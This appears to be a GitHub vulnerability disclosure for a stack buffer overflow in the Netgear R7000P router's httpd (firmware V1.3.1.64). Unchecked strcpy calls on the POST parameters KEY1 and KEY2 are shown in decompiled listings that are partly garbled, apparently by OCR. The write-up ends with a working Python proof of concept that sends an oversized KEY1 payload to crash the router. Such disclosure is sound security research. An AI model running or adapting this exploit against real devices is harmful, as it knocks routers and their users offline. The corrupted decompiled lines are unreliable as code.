

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

- 1. product information: https://www.netgear.com
- 2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip

Affected version

V1.3.1.64

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub_5835C function, which can be accessed via the URL http://routerlogin.net/WLG_wireless_dual_band_r10.htm.

```
wen length", v101);
696
697
              sub_1A54C(a1, "KEY1", v100, 2048);
698
              if ( V100 0 )
699
              {
                sprintf(v98, "%d", v46);
700
701
                v47 = sub 56C50(v98);
                if (!v47)
702
703
                  goto LABEL_162;
704
                v48 = strlen(v100);
                if ( v48 != 2 * v47 && v48 != v47 )
705
706
707
                  printf("httpd error key=%s,keykeylen=%d\n", v100, v48);
708
                  goto LABEL 162;
709
710
                acosNvramConfig_set("gui_2g_wep_key1", v100);
711
                if ( strlen(v100) == v47 )
712
                  strcpy(v99, v100);
713
714
                  CharToHexString(v99, v100);
715
716
                v49 = v100;
717
              }
718
              else
719
              {
                acosNvramConfig_set("gui_2g_wep_key1", &byte_122389);
720
                v49 = &byte 122389;
721
722
723
              acosNycamConfig set("wla key1" y/40).
```

This function accepts the POST parameter KEY1 without verifying its length, and copies an unbounded stack with strcpy which will result in a stack overflow. This vulnerability allows an attacker to cause denial of service (DoS).

It also happened in parameter KEY2.

```
sub_1A54C(a1, "KEY2", v100, 2048);
725
726
              if ( V100[0] )
727
              {
                sprintf(v98, "%d", v46);
728
729
                v50 = sub_56C50(v98);
                if (!v50)
730
                  goto LABEL_172;
731
                v51 = strlen(v100);
732
                if ( v51 != 2 * v50 && v51 != v50 )
733
734
                  printf("httpd error key=%s,keykeylen=%d\n", v100, v51);
735
736
                  goto LABEL_172;
737
738
                acosNvramConfig_set("gui_2g_wep_key2", v100);
739
                if ( strlen(v100) == v50 )
740
741
                  strcpy(v99, v100);
742
                  charlonexstring(V99, V100);
743
                }
744
                v52 = v100;
745
746
              else
747
              {
```

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF INET, socket.SOCK STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'KEY1=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```



© 2022 GitHub, Inc.

Terms

Privacy

Security

Status

Docs

Contact GitHub

Pricing

API

Training

Blog

About